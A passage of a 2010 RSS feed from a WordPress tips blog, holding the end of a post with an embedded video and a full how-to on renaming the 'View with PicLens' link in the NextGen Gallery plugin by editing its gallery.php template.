<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="224" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="guid=BQtfIEY1&amp;width=400&amp;height=224&amp;locksize=no&amp;dynamicseek=false&amp;qc_publisherId=p-18-mFEk4J448M" /><param name="src" value="http://v.wordpress.com/wp-content/plugins/video/flvplayer.swf?ver=1.21" /><param name="wmode" value="transparent" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="400" height="224" src="http://v.wordpress.com/wp-content/plugins/video/flvplayer.swf?ver=1.21" allowfullscreen="true" wmode="transparent" flashvars="guid=BQtfIEY1&amp;width=400&amp;height=224&amp;locksize=no&amp;dynamicseek=false&amp;qc_publisherId=p-18-mFEk4J448M"></embed></object></p>
<p>Have a lovely weekend you lovely people!</p>
<p>Love and Peace from The WordPress Guru <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/QMr8ngdVXgY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/06/wordpress-3-0-is-here-but-should-you-upgrade-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/06/wordpress-3-0-is-here-but-should-you-upgrade-today/</feedburner:origLink></item>
		<item>
		<title>How to change “View with Piclens” message in NextGen Gallery</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/zWJzyYkDl2Q/</link>
		<comments>http://wpguru.co.uk/2010/06/how-to-change-view-with-piclens-message-in-nextgen-gallery/#comments</comments>
		<pubDate>Mon, 07 Jun 2010 06:38:18 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=401</guid>
		<description><![CDATA[Alex Rabe&#8217;s NextGen Gallery plugin is certainly is the best there is, even though I find it a tad too complex at times. I love it though, and I use it on all my sites whenever I want to upload a batch of pictures and insert them into my posts with little hassle and great [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Alex Rabe&#8217;s <a href="http://wordpress.org/extend/plugins/nextgen-gallery/" target="_blank">NextGen Gallery plugin</a> is certainly is the best there is, even though I find it a tad too complex at times. I love it though, and I use it on all my sites whenever I want to upload a batch of pictures and insert them into my posts with little hassle and great convenience.</p>
<p>One thing that bugs me though is the message that reads <strong> </strong></p>
<p><strong>[View with Piclens] </strong>above my thumbnails, which gives the viewer a chance to see my gallery as a slideshow. It&#8217;s a great feature.</p>
<p>Trouble is, nobody actually knows what PicLens is or what it does &#8211; including myself, let alone my readers.</p>
<p>Lucky for us, it&#8217;s fairly easy to fix &#8211; let me show you how:</p>
<p><span id="more-401"></span>The key is in a file you can find in this plugin&#8217;s folder called /view/gallery.php.</p>
<p class="note">By default, the full path to this file is wp-content/plugins/nextgex-gallery/view/gallery.php).</p>
<p>Have a browse and see if you can find this code halfway down the file:<br />
<code><br />
&lt;?php if ($gallery-&gt;show_piclens) { ?&gt;<br />
&lt;!-- Piclense link --&gt;<br />
&lt;div&gt;<br />
&lt;a href="&lt;?php echo $gallery-&gt;piclens_link ?&gt;"&gt;<br />
&lt;?php _e('[View with PicLens]','nggallery'); ?&gt;<br />
&lt;/a&gt;<br />
&lt;/div&gt;<br />
&lt;?php } ?&gt;<br />
</code></p>
<p>See the bit where it says [View with PicLens]? That&#8217;s what gets displayed. Change the text inside the single quotes to anything you like &#8211; maybe something along the lines of <strong>View as SLIDESHOW</strong> perhaps.</p>
<p class="alert">Make sure you don&#8217;t use any special characters here &#8211; numbers, letters and spaces only please!</p>
<p>One thing to keep in mind &#8211; with any change you make to the source code &#8211; is that as soon as you upgrade to a new version of the plugin, your changes will be overwritten. Just in case <strong>[View with PicLens]</strong> ever comes back from its grave to haunt you again&#8230;</p>
<p>Have fun <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/zWJzyYkDl2Q" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/06/how-to-change-view-with-piclens-message-in-nextgen-gallery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/06/how-to-change-view-with-piclens-message-in-nextgen-gallery/</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 2.177 seconds. --><!-- File not cached! Super Cache Couldn't write to: wp-content/cache/wp-cache-dcd1683756f546edc899ba8f137f6ec7.html -->
